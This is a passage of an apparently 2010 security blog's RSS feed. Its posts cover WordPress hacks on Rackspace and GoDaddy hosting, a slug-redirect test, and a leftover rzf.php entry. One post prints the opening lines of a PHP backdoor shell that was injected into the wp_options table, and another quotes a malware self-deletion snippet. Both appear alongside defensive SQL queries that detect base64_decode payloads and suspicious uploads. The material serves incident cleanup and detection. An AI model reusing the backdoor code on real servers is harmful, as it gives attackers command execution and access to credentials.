			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/08/23/breaking-news-google-borks-the-earth/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Rackspace Hacked Clients, Check Your Databases: WordPress &#8220;wp_optimize&#8221; Backdoor In wp_options Table</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/06/14/rackspace-hacked-clients-check-your-databases-wordpress-wp_optimize-backdoor-in-wp_options-table/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/06/14/rackspace-hacked-clients-check-your-databases-wordpress-wp_optimize-backdoor-in-wp_options-table/#comments</comments>
		<pubDate>Tue, 15 Jun 2010 01:16:57 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[how-to]]></category>
		<category><![CDATA[nerdiness]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=747</guid>
		<description><![CDATA[Just finished cleaning up a hacked client whose website is hosted on Rackspace Cloud hosting. It is the second one within the past few weeks, although the first one was actually hosting on Laughing Squid, which happens to use Rackspace Cloud. I had discovered that there were a large number of people all on the [...]]]></description>
			<content:encoded><![CDATA[<p>Just finished cleaning up a hacked client whose website is hosted on <a href="http://www.rackspacecloud.com/" target="_blank">Rackspace Cloud hosting</a>. It is the second one within the past few weeks, although the first one was actually hosting on <a href="http://laughingsquid.net/" target="_blank">Laughing Squid</a>, which happens to use Rackspace Cloud. I had discovered that there were a large number of people all on the same IP as my client a couple of weeks ago who all got hacked, but I was having trouble determining if it was an issue with Laughing Squid or an issue with Rackspace Cloud itself, so I didn&#8217;t blog about it until I could research it more. I wish now that I had, because maybe then it would not have spread so widely. As it is, it is the same WordPress attack that <a href="http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/" target="_blank">Unmask Parasites blogged about</a> earlier today.</p>
<p>It looks like the culprit might have been a security hole in phpmyadmin. Hopefully this will turn out to be what was wrong, <span id="more-747"></span>because Rackspace upgraded all of their installations of that package <a href="http://status.mosso.com/2010/06/emergency-phpmyadmin-maintenance-ongoing.html" target="_blank">this past Saturday</a>. If so the initial security could very well be plugged, although of course we don&#8217;t know for sure that was what was affecting all of these customers yet. In either case, however, simply plugging the hole will not be enough for affected websites.</p>
<p>The Unmask Parasites blog went into depth about how the various files were injected with malicious code, and how fake admins were used to modify the theme files on the installation. However, what they (and as far as I can tell everyone else) missed was a backdoor that I found injected directly into the wp_options table. The record had an option_name of &#8220;wp_optimize&#8221;, autoload set to &#8220;on&#8221; (which means that the option is automatically loaded with WordPress), and an option_value of php shell code:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$kmd5</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'510a584f9747c1262b5ef3c89bd9afb4'</span><span style="color: #339933;">;</span><span style="color: #000088;">$shellver</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'1.7.5-stable'</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'sh'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;&amp;</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'sh'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #000088;">$kmd5</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>or<span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'sh'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;&amp;</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'sh'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #000088;">$kmd5</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$kuppa</span><span style="color: #339933;">=</span><span style="color: #990000;">getcwd</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span>	<span style="color: #009900;">&#40;</span><span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$kuppa</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/wp-config.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>   	      <span style="color: #009900;">&#123;</span><span style="color: #b1b100;">include</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$kuppa</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/wp-config.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span>	<span style="color: #009900;">&#40;</span><span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$kuppa</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/wp-includes/formatting.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>   <span style="color: #009900;">&#123;</span><span style="color: #b1b100;">require_once</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$kuppa</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/wp-includes/formatting.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span>	<span style="color: #009900;">&#40;</span><span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$kuppa</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/wp-includes/kses.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>         <span style="color: #009900;">&#123;</span><span style="color: #b1b100;">require_once</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$kuppa</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/wp-includes/kses.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'update_option_1'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span>
    <span style="color: #000000; font-weight: bold;">function</span> update_option_1<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$option_name</span><span style="color: #339933;">,</span> <span style="color: #000088;">$newvalue</span> <span style="color: #009900;">&#41;</span>
<span style="color: #339933;">...</span></pre></td></tr></table></div>

<p>In all it was 1216 lines of code. You can view the entire file here: <a href="/images/sql-injection-wp-optimize.txt" target="_blank">sql-injection-wp-optimize.txt</a>. It allows an attacker to basically run any commands or upload any file to the server that they want to. Deleting or cleaning all of the infected files on the server won&#8217;t help as long as this code is still in the database. Please, if you have been hacked (regardless of whether or not you are on Rackspace hosting) please make sure you check your databases for malicious code like this. </p>
<p>An easy way to check for these types of suspicious entries in a <a href="http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/" target="_blank">hacked WordPress</a> database is to run the following MySQL query:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="mysql" style="font-family:monospace;"><span style="color: #990099; font-weight: bold;">SELECT</span> <span style="color: #CC0099;">*</span> <span style="color: #990099; font-weight: bold;">FROM</span> wp_options <span style="color: #990099; font-weight: bold;">WHERE</span> <span style="color: #FF00FF;">&#40;</span>option_id <span style="color: #CC0099; font-weight: bold;">LIKE</span> <span style="color: #008000;">'<span style="color: #008080; font-weight: bold;">%</span>base64<span style="color: #008080; font-weight: bold;">_</span>decode<span style="color: #008080; font-weight: bold;">%</span>'</span> <span style="color: #CC0099; font-weight: bold;">OR</span> blog_id <span style="color: #CC0099; font-weight: bold;">LIKE</span> <span style="color: #008000;">'<span style="color: #008080; font-weight: bold;">%</span>base64<span style="color: #008080; font-weight: bold;">_</span>decode<span style="color: #008080; font-weight: bold;">%</span>'</span> <span style="color: #CC0099; font-weight: bold;">OR</span> option_name <span style="color: #CC0099; font-weight: bold;">LIKE</span> <span style="color: #008000;">'<span style="color: #008080; font-weight: bold;">%</span>base64<span style="color: #008080; font-weight: bold;">_</span>decode<span style="color: #008080; font-weight: bold;">%</span>'</span> <span style="color: #CC0099; font-weight: bold;">OR</span> option_value <span style="color: #CC0099; font-weight: bold;">LIKE</span> <span style="color: #008000;">'<span style="color: #008080; font-weight: bold;">%</span>base64<span style="color: #008080; font-weight: bold;">_</span>decode<span style="color: #008080; font-weight: bold;">%</span>'</span> <span style="color: #CC0099; font-weight: bold;">OR</span> autoload <span style="color: #CC0099; font-weight: bold;">LIKE</span> <span style="color: #008000;">'<span style="color: #008080; font-weight: bold;">%</span>base64<span style="color: #008080; font-weight: bold;">_</span>decode<span style="color: #008080; font-weight: bold;">%</span>'</span><span style="color: #FF00FF;">&#41;</span> <span style="color: #990099; font-weight: bold;">order by</span> option_id</pre></td></tr></table></div>

<p>So far the only legitimate entries I have found returned from that query were rss entries pulling in blog posts discussing the <a href="http://php.net/manual/en/function.base64-decode.php" target="_blank">base64_decode()</a> php function, so if you find an entry in the database that doesn&#8217;t look like someone&#8217;s blog post, odds are you are going to want to delete it.</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/06/14/rackspace-hacked-clients-check-your-databases-wordpress-wp_optimize-backdoor-in-wp_options-table/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>GoDaddy&#8217;s Suggestion For The Cause Of Their Hacks And Their Community Blog &#8211; Can You Smell The Irony?</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/05/14/godaddys-suggestion-for-the-cause-of-their-hacks-and-their-community-blog-can-you-smell-the-irony/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/05/14/godaddys-suggestion-for-the-cause-of-their-hacks-and-their-community-blog-can-you-smell-the-irony/#comments</comments>
		<pubDate>Fri, 14 May 2010 20:52:41 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[customer service]]></category>
		<category><![CDATA[lackofmeds]]></category>
		<category><![CDATA[nerdiness]]></category>
		<category><![CDATA[Social Media]]></category>
		<category><![CDATA[web design]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[WTF]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=680</guid>
		<description><![CDATA[Yesterday I blogged about the hacking situation with GoDaddy hosting and a customer service call I had with them concerning some evidence I had found. While it is true that as this has progressed GoDaddy has widened their scope in investigating what the underlying cause of these hacks are, initially they claimed that the issue [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday I blogged about the <a href="http://smackdown.blogsblogsblogs.com/2010/05/13/hosting-with-godaddy-might-want-to-rethink-that-decision/" target="_blank">hacking situation with GoDaddy hosting</a> and a customer service call I had with them concerning some evidence I had found. While it is true that as this has progressed GoDaddy has widened their scope in investigating what the underlying cause of these hacks are, initially they claimed that the issue was with their customers running outdated versions of WordPress. While being wrong about something like that is usually not <em>that</em> big of a deal, in this particular instance it proved to be beyond irksome, since a large portion of their customer base were told that it was their own fault that their sites got hacked (even in cases where the customer was up to date), and that GoDaddy <a href="http://wordpress.org/support/topic/391658#post-1498431" target="_blank">was in no way to blame</a>:</p>
<blockquote><p>WordPress is a-ok. Go Daddy is rock solid. Neither were &#8216;hacked,&#8217; as some have speculated.</p>
<p>After an extensive investigation, we can report there was a small group of customers negatively impacted. What happened? Those users had outdated versions of the popular blogging software, set up in a particular way. &#8211; <em>Alicia from GoDaddy</em></p></blockquote>
<p>From what I have read around the web customers were being told that it was not GoDaddy&#8217;s responsibility to fix the sites, that they only offered &#8220;limited support&#8221; in situations like this, leaving people with only the option of restoring from a backup (which would often not help even in outdated WordPress hack situations, since hacks can go undetected for months) or hiring outside help to clean things up.</p>
<p>You can see on the support page they have set up, <a href="http://community.godaddy.com/godaddy/whats-up-with-go-daddy-wordpress-php-exploits-and-malware/" target="_blank">What’s Up with Go Daddy, WordPress, PHP Exploits and Malware?</a> that they still claim that outdated scripts are part of the problem. Going to that page and viewing the source reveals something almost unbelievable:</p>
<p><a href="/images/godaddy-outdated-wordpress-lg.png" target="_blank"><img src="/images/godaddy-outdated-wordpress-sm.png" border="0" alt="GoDaddy outdated software...?" onmouseup="hl2l(event);"></a><br />
(<em>click to enlarge</em>)</p>
<p>That&#8217;s right, in a classic &#8220;do as I say, not as I do&#8221; twist it seems that GoDaddy is in fact running an older version of WordPress (WordPress MU, based on the version number, which has the same security holes as regular WordPress) for their community blog that they are using to tell people to upgrade their WordPress versions.</p>
<p>To be fair, simply having an older version of WordPress does not mean that it is automatically insecure&#8230; the security fixes in the more recent versions may be minor and the known vulnerabilities might have been manually patched. I can&#8217;t know without actually digging deeper and <em>looking</em> if in fact the installation was vulnerable.</p>
<p>Then again&#8230; neither can GoDaddy in the case of their customers.</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/05/14/godaddys-suggestion-for-the-cause-of-their-hacks-and-their-community-blog-can-you-smell-the-irony/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Hosting With GoDaddy? Might Want To Rethink That Decision.</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/05/13/hosting-with-godaddy-might-want-to-rethink-that-decision/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/05/13/hosting-with-godaddy-might-want-to-rethink-that-decision/#comments</comments>
		<pubDate>Thu, 13 May 2010 15:04:59 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[customer service]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[WTF]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=671</guid>
		<description><![CDATA[One of the services I offer people is cleaning their WordPress installations of hacks and infections, mostly for those who might not have the time or technical expertise to follow my hacked WordPress cleaning guide. Therefore when something happens that increases the number of people getting hacked, such as when a new exploit is discovered, [...]]]></description>
			<content:encoded><![CDATA[<p>One of the services I offer people is cleaning their WordPress installations of hacks and infections, mostly for those who might not have the time or technical expertise to follow my <a href="http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/">hacked WordPress cleaning guide</a>. Therefore when something happens that increases the number of people getting hacked, such as when <a href="http://lorelle.wordpress.com/2009/09/04/old-wordpress-versions-under-attack/" target="_blank">a new exploit is discovered</a>, or a security hole in a large host starts getting exploited (like <a href="http://blog.networksolutions.com/2010/we-feel-your-pain-and-are-working-hard-to-fix-this/" target="_blank">what happened with Network Solutions last month</a>), I get an increase in the number of people requesting help cleaning things up. This month it started happening with a large number of <a href="http://www.godaddy.com/" target="_blank">GoDaddy</a> customers.</p>
<p>When it first started to happen I did some searching around, and noticed that there was some discussion going on about the heightened GoDaddy hacking activity, but at that time everything I read that stated the problem was with GoDaddy customers all had roots pointing back to a single post on a company blog that didn&#8217;t offer enough details for me to really see why it was happening there and not other places. Not that WordPress on other hosts weren&#8217;t still getting hacked, but there has definitely been a higher concentration of instances on GoDaddy. GoDaddy was definitely aware of the issue, and even replied in some threads on the <a href="http://wordpress.org/support/topic/391658" target="_blank">WordPress.org help forum</a>:</p>
<blockquote><p>GoDaddy.com did send out a notification to customers affected by this issue. Although I know you would prefer not to be linked, I want to avoid flooding the forum. For a step-by-step guide to update WordPress, please visit <a href="http://fwd4.me/NGN" target="_blank">http://fwd4.me/NGN</a> &#8211; <em>Alicia from GoDaddy.com</em></p></blockquote>
<p>The link to their &#8220;step-by-step guide&#8221; to updating WordPress turns out to be nothing more than than a link back to WordPress&#8217; own guide to upgrading, and links on how to back up your stuff on GoDaddy. Decidedly not step-by-step imo, and in this case not all that helpful. If the reason your site gets hacked is due to you running an older, insecure version of WordPress, once that happens simply upgrading will not fix the issue. This seems to me to be a bit of a lame response to a serious issue coming from a company that bills itself as the &#8220;World&#8217;s largest Hosting Provider&#8221;. </p>
<p>GoDaddy keeps <a href="http://community.godaddy.com/godaddy/wordpress-compromised-how-to-fix-it/" target="_blank">insisting that the problem is due to outdated WordPress installations</a>, and that staying up to date and site security is the responsibility of the customer, not of GoDaddy. In one sense I completely agree with them. If you run an older version of WordPress that has known security holes in it (ie. pretty much all versions aside from the most recent) then the odds are that you are going to get hacked. Most of the clients I cleaned from GoDaddy so far were up to date, running version 2.9.2, but this still didn&#8217;t mean that it was GoDaddy&#8217;s fault, since it is possible for a site to get hacked and no signs show up for months. This means that the sites I was cleaning could potentially have had the hack from an older version, and it only became apparent some time after they upgraded. </p>
<p>The problem is that after doing some <em>very</em> thorough clean up jobs (ie. wipe and reinstall), and making sure the clients were up to date, all passwords changed, all image files verified as actual images, clean WordPress, clean theme, clean plugins, and hand cleaning the database, I had clients <strong>still</strong> getting re-hacked.</p>
<p>One client I had was having issues with funky characters in his posts. He would make the post, everything would be fine, and then the next day they would be converted in a way that would make them display as unicode. This was well after I had done my cleaning, and no one should have made any changes to the database since then. My assumption was that GoDaddy themselves was making changes, possibly security upgrades related to the recent hacking waves, and I figured that calling them to see what they had done would be the best bet. In preparation for this I went ahead and logged into the client&#8217;s account, and ftp&#8217;d into the server just to make sure everything looked like it was in place still. As soon as I did I saw that about 30 minutes before a brand new, non-Wordpress, oddly named php file had been dropped into my client&#8217;s site.</p>
<p>I downloaded the file and looked at it. I suddenly realized that this was the source file for all of the hacks that were happening. It was named &#8220;plan_erich.php&#8221;, and had similar eval(base64_decode( instruction at the top of the file. I modified the code to be able to decrypt it safely, and looked through the output (which you can view <a href="/images/plan_erich_php.txt">here</a>). The script was designed to delete itself as soon as it ran:</p>
<p><code>$z=$_SERVER["SCRIPT_FILENAME"];
@unlink($z);</code></p>
<p>Finding this script before it was triggered and deleted itself was raw luck. Catching this file gave a great opportunity to actually track down how these hacks are occurring, and possibly would leave clues that GoDaddy could use to keep it from happening again. Looking at the owner/creator of the file, and matching that timestamp up with the various logs  (ftp, ssh, http, mysql, etc) could give GoDaddy the information needed to figure out how the file <em>really</em> got there, instead of just guessing that WordPress was the issue. I have never seen a file like this before, and searching Google for the name yielded no results, so there really was no other information out there available on this. Finding it there was a little like hitting the lottery in that respect, random and very, very good luck.</p>
<p><strong>The problem, however, is that GoDaddy didn&#8217;t seem to care.</strong> I called and explained to the woman I spoke with exactly what it was that I found and how it could be useful. I told her that matching up that file to the logs could yield some potentially valuable information. She did listen carefully, and I am pretty sure she understood what I was saying, because she asked if she could put me on hold to go talk with someone who might know more. She came back and informed me that <em>she didn&#8217;t have permission to look at those logs</em>.</p>
<p>I explained again, in a little more detail, why looking at the section of those logs was very important, and if she didn&#8217;t have permission could she please escalate the ticket to someone who did. Again, she put me on hold. This time she came back and told me that <em>they were uninterested in escalating it</em>. </p>
<p>At this point I was a teensy bit amazed at GoDaddy&#8217;s lack of concern with the issue. She very kindly informed me that the issue was that the client was running an older version of WordPress, and that we needed to upgrade. Wtf? I went and looked, and made sure that he was indeed still running the 2.9.2 version that I had installed over a week ago (and remember, he was running that version before I ever did anything), and he was. I told her that. She told me that no, she was looking at what the hosting control panel said, and that he was running version 2.6.</p>
<p>That was when it struck me&#8230; GoDaddy was claiming that this wave of WordPress hacks was due to clients not upgrading <em>without even bothering to really look at the clients sites</em>. The hosting control panel can only report what was installed via the hosting control panel itself. If a client pushes the button to upgrade WordPress from within the WordPress admin section then the hosting control panel will never know. </p>
<p>As amazing as it seems, apparently <strong><em>the entire GoDaddy technical support team is ignorant of this fact</em></strong>. That&#8217;s right&#8230; the  &#8220;World’s largest Hosting Provider&#8221; doesn&#8217;t understand the very basics of how the world&#8217;s largest blogging platform works.</p>
<p>Something, probably a hosting configuration, is allowing GoDaddy customers to have their sites hacked, and it isn&#8217;t file permissions, insecure passwords, or out of date software. Not being willing to even <em>look</em> when a developer calls to tell you that they found something is completely unacceptable. My suggestion to all GoDaddy hosting customers: bail now, before something happens to your site. This is not a WordPress issue only&#8230; although it seems to have targeted WordPress customers first, all sites that use php are at risk. Personally for shared hosting I recommend <a href="http://www.jdoqocy.com/nd115shqnhp48779B7A465965D68" target="_blank">Hostgator</a><img src="http://www.ftjcfx.com/6l98y7B-53PTSSUWSVPRQURQYRT" width="1" height="1" border="0"/>, because I love their tech support (and their servers are very robust), but there are plenty of hosts out there to choose from (Disclosure: I changed the previous link to an affiliate link, although if you&#8217;d rather purchase hosting from them without giving me credit that&#8217;s fine too, here is a clean link for you: <a href="http://www.hostgator.com/" target="_blank">HostGator</a>).</p>
<p><a href="http://www.bobparsons.me/" target="_blank">Bob Parsons</a>, I am sorry. Hot chicks and a strong tits and ass marketing campaign do <em>not</em> make up for apathy in matters of client security and well being.</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/05/13/hosting-with-godaddy-might-want-to-rethink-that-decision/feed/</wfw:commentRss>
		<slash:comments>159</slash:comments>
		</item>
		<item>
		<title>Test of WordPress&#8217;s Default Slug Redirect: 301 or 302?</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/03/18/wordpress-redirect-302-or-302/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/03/18/wordpress-redirect-302-or-302/#comments</comments>
		<pubDate>Thu, 18 Mar 2010 15:06:34 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[nerdiness]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=651</guid>
		<description><![CDATA[Just a quick test to see if WordPress by defaults redirects slug changes using a 301 or 302 redirect. The original url for this post is: http://smackdown.blogsblogsblogs.com/2010/03/18/test-of-wordpress-default-slug-redirect-301-or-302/ and I am going to change it to: http://smackdown.blogsblogsblogs.com/2010/03/18/wordpress-redirect-302-or-302/ Results: Using the Bad Neighborhood Header Detector we can see that WordPress does in fact use a 301 redirect [...]]]></description>
			<content:encoded><![CDATA[<p>Just a quick test to see if WordPress by defaults redirects slug changes using a 301 or 302 redirect. The original url for this post is:</p>
<p><a href="http://smackdown.blogsblogsblogs.com/2010/03/18/test-of-wordpress-default-slug-redirect-301-or-302/">http://smackdown.blogsblogsblogs.com/2010/03/18/test-of-wordpress-default-slug-redirect-301-or-302/</a></p>
<p>and I am going to change it to:</p>
<p><a href="http://smackdown.blogsblogsblogs.com/2010/03/18/wordpress-redirect-302-or-302/">http://smackdown.blogsblogsblogs.com/2010/03/18/wordpress-redirect-302-or-302/</a></p>
<p><span id="more-651"></span><strong>Results:</strong> Using the <a href="http://www.bad-neighborhood.com/header_detector.php" target="_blank">Bad Neighborhood Header Detector</a> we can see that WordPress does in fact use a 301 redirect redirect by default when changing a url slug (at least, WordPress 2.9.2 does, since I upgraded just before this test):</p>
<p>&nbsp;</p>
<p><img src="/images/wordpress-301-redirect.png" onmouseup="hl2l(event);" alt="Wordpress 301 slug redirect" border="0"></p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/03/18/wordpress-redirect-302-or-302/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Stray Leftover Hacked WordPress Database Entry: rzf.php</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/03/13/stray-leftover-hacked-wordpress-database-entry-rzf-php/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/03/13/stray-leftover-hacked-wordpress-database-entry-rzf-php/#comments</comments>
		<pubDate>Sat, 13 Mar 2010 16:27:39 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[coding]]></category>
		<category><![CDATA[how-to]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=626</guid>
		<description><![CDATA[I never use my uploads directory or WordPress&#8217;s built in media management here on Smackdown, instead preferring to upload and manually insert the html for images myself in my posts (I know, I am weird that way), but my friend Donna has when she has guest blogged here in the past. I therefore knew that [...]]]></description>
			<content:encoded><![CDATA[<p>I never use my uploads directory or WordPress&#8217;s built in media management here on Smackdown, instead preferring to upload and manually insert the html for images myself in my posts (I know, I am weird that way), but <a href="http://www.dazzlindonna.com/blog/" target="_blank">my friend Donna</a> has when she has guest blogged here in the past. I therefore knew that the uploads directory existed and had a few images in there, but never really had any reason to look at them. It was totally by accident that I clicked on the Media link in the admin section this morning. I am glad that I did, however, since otherwise I never would have known that I had missed a bit of leftover data from one of the times that I had been hacked last year, a reference to a file named <strong>rzf.php</strong>.</p>
<p>I use an early warning hacking detection system that Donna came up with last year with and I helped refine, <a href="http://www.webchicklet.com/tools/monitorhackdfiles-tool-helps-fight-site-hackers/" target="_blank">MonitorHackdFiles</a>, that alerts me whenever there are any files modified or added on my blog. This script has been indispensable in helping me to clean up damage from hacks before either my rankings were harmed or an infection spread to my readers. However, based on the folder structure<span id="more-626"></span> on the database entry that I found, this was from a hack that happened prior to me installing that script. I checked, and the file definitely does not exist, either physically or virtually (I get a 404 trying to access it on the web), which makes sense since I did <a href="http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/" target="_blank">completely wipe and reinstall WordPress</a> several times last year. I also always check the wp_posts, wp_users, and wp_options (especially the active_plugins entry) after a hack for any irregularities, but never thought to check wp_postmeta, which is where information about uploads is stored. I have been hacked a few times, and this is apparently the only one that actually <em>used</em> the uploads folder. All of the other hacks hid files amongst the WordPress system files or injected data into the database. Just to be safe though, from now on I am adding to the checks that I perform to the database to include scanning that table for any non image files, like so:</p>
<pre>SELECT * FROM wp_postmeta
WHERE meta_key='_wp_attached_file'
AND (
	RIGHT(meta_value,4) NOT IN ('.jpg','.gif','.png','.avi','.mp3','.mpg','.flv')
	OR meta_value LIKE '%.php%' OR meta_value LIKE '%.pl%'
	OR meta_value LIKE '%.exe%' OR meta_value LIKE '%.js%'
)</pre>
<p>This should display the entries in your database that match the contents of your uploads directory, filtering out the most common safe files while definitely including the most suspicious ones. </p>
<p>I couldn&#8217;t find anyone discussing the rzf.php file when I looked, but I did find a couple of sites that were hacked from it. It apparently generates a list of links that all point back to itself with various d=xxx parameters:</p>
<p>&nbsp;</p>
<p><img src="/images/rzf.php-links.png" onmouseup="hl2l(event);" alt="rzf.php" border="0"></p>
<p>&nbsp;</p>
<p>Each of these pages then generates a list of other self-referential links, plus some added text, and a small percentage of external links. All of the links that I looked at lead back to what appeared to be valid sites, presumably to better hide the actual target. Even though this may be the only function of the file, if the file itself is found in your directory structure, and not just a leftover database remnant like mine was, it is probably best to do a complete cleaning, just to be safe.</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/03/13/stray-leftover-hacked-wordpress-database-entry-rzf-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

